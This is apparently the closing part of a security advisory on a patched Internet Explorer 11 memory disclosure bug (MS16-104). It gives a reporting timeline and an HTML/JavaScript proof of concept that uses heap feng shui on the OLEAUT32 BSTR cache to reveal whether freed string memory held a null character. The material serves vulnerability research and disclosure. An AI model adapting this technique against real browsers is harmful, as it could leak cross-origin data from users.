Using Heap-Feng Shui, it may be possible to reuse memory allocated for other strings that have since been freed and determine if they had a '\0' WCHAR as their fifth character. This includes strings to should normally not be accessible to the website, such as those from a different origin. Also using Heap Feng-Shui, it may be possible to allocate some interesting object immediately following the string, in order to determine if a WORD at the start of that object is 0 or not.

The "exploit" provided below shows that it is possible to determine if the fifth WCHAR of the last freed BSTR was '\0' or not.

Time-line

Februari 2016: This vulnerability was found through fuzzing.
Februari 2016: This vulnerability was submitted to ZDI, i­Defense and EIP.
March-July 2016: ZDI, i­Defense and EIP all either reject the submission or fail to respond.
July 2016: This vulnerability was reported to Microsoft with a 60-day deadline to address the issue.
August 2016: Microsoft is granted an 11 day extension to the deadline to address it in September's Patch Tuesday.
September 2016: The vulnerability was address by Microsoft in MS16-104.
November 2016: Details of this issue are released.
-->

<!DOCTYPE html>
<meta http-equiv="X-UA-Compatible" content="IE=Edge">
<script>
  // This Po­C attempts to exploit a memory disclosure bug in Microsoft Internet
  // Explorer 11. See http://blog.skylined.nl/20161109001.html for details.
  var s­Set­Property­Name = "textdecorationblink", //text­Decoration­Line­Through, text­Decoration­Line­None, text­Decoration­Overline, text­Decoration­Underline
      s­Get­Property­Name = "text-decoration",
      s­Property­Value = "blink"; 
  function fb­Test(s­Test) {
    var o = document.create­Element("x");
    // Cleanup, potentially fill OLEAUT32 BSTR cache
    Collect­Garbage();
    // Empty the smallest BSTR bucket of the OLEAUT32 cache and defragement the small chunks heap.
    o.set­Attribute("a", "1");
    o.set­Attribute("b", "2");
    o.set­Attribute("c", "3");
    o.set­Attribute("d", "4");
    o.set­Attribute("e", "5");
    o.set­Attribute("f", "6");
    // Add the <s­Test> BSTR to the smallest bucket of the OLEAUT32 BSTR cache.
    o.set­Attribute("x", s­Test);
    o.remove­Attribute("x");
    // reused the <s­Test> memory and overwrite the first two chars with 'x' and '\0', then read from offset +8
    o.style.set­Property(s­Set­Property­Name, "x");
    var b­Result = o.style.get­Property­Value(s­Get­Property­Name) == s­Property­Value;
    alert(JSON.stringify(s­Test) + "=>" + b­Result);
  };
  fb­Test("12345");          // true
  fb­Test("1234\0");         // false
  fb­Test("1234");           // false
  fb­Test("123");            // (AV on x64 if page heap enabled).
  // This work by Sky­Lined is licensed under a Creative Commons
  // Attribution-Non-Commercial 4.0 International License.
</script>